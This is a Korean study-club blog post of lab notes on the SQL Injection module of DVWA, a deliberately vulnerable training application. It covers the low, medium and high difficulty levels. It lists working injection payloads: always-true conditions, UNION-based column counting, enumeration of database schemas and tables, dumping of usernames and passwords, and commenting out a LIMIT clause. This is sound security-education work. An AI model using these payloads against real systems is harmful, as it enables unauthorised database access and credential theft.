DVWA 실습
SQL Injection
low
id를 넣으면
id, firtst name, surname을 출력해준다
사용자 입력 값 검증 없음
쿼리 함수가 실패하면 or die로 가서 오류 메세지를 출력
1’
→ SELECT first_name, last_name FROM users WHERE user_id = 'id’';
일부러 구문 오류 나게 유도
sql injection 가능성 높음 → 입력 값에 따라 쿼리가 달라졌기 때문에
1' or '1' = '1
→ SELECT first_name, last_name FROM users WHERE user_id = '1' or '1' = '1';
'1' = '1' 으로 항상 참 = 전체 결과 출력
union 활용
1' union select 1#
컬럼 수가 다르다
1' union select 1,2#
오류 없이 출력
1' union select 1,2,3# → 처음과 같은 오류 발생 = 칼럼 수는 2구나 . .
1' UNION SELECT schema_name,1 FROM information_schema.schemata#
information_schema에 데이터베이스 정보가 있고, 데이터베이스 이름은 schemata 테이블에 들어있음
칼럼 수를 맞춰주기 위해서 schema_name, 1
→ dvwa라는 데이터베이스 확인
1' UNION SELECT table_name,table_schema FROM information_schema.tables WHERE table_schema='dvwa'#
dvwa데이터베이스의 테이블을 조회
→ users 테이블 확인
1' UNION SELECT table_name, column_name FROM information_schema.columns WHERE table_schema='dvwa' and table_name='users'#
users테이블의 칼럼 조회
→ password 궁금
1' UNION SELECT user,password FROM users#
user와 password를 조회
medium
사용자 입력 값을 제한하려는 모습
따옴표가 없음 = 숫자로
1 or 1=1
burp suite로 바꿔준다
high
새로운 창에서 받는다
출력 값을 1개로 제한하려고 하고 있다..
→ 뒷 부분 구문을 #으로 주석 처리
1' or '1'='1'#
→ SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'# LIMIT 1;
'동아리 > 팀 스터디' 카테고리의 다른 글
[9기 심화] 웹 취약점 분석 08 (0) | 2024.03.28 |
---|---|
[9기 심화] 웹 취약점 분석 07 (0) | 2024.03.28 |
[9기 심화] 웹 취약점 분석 05 (0) | 2024.03.14 |
[9기 심화] 웹 취약점 분석 04 (0) | 2024.03.14 |
[9기 심화] 웹 취약점 분석 03 (0) | 2024.03.14 |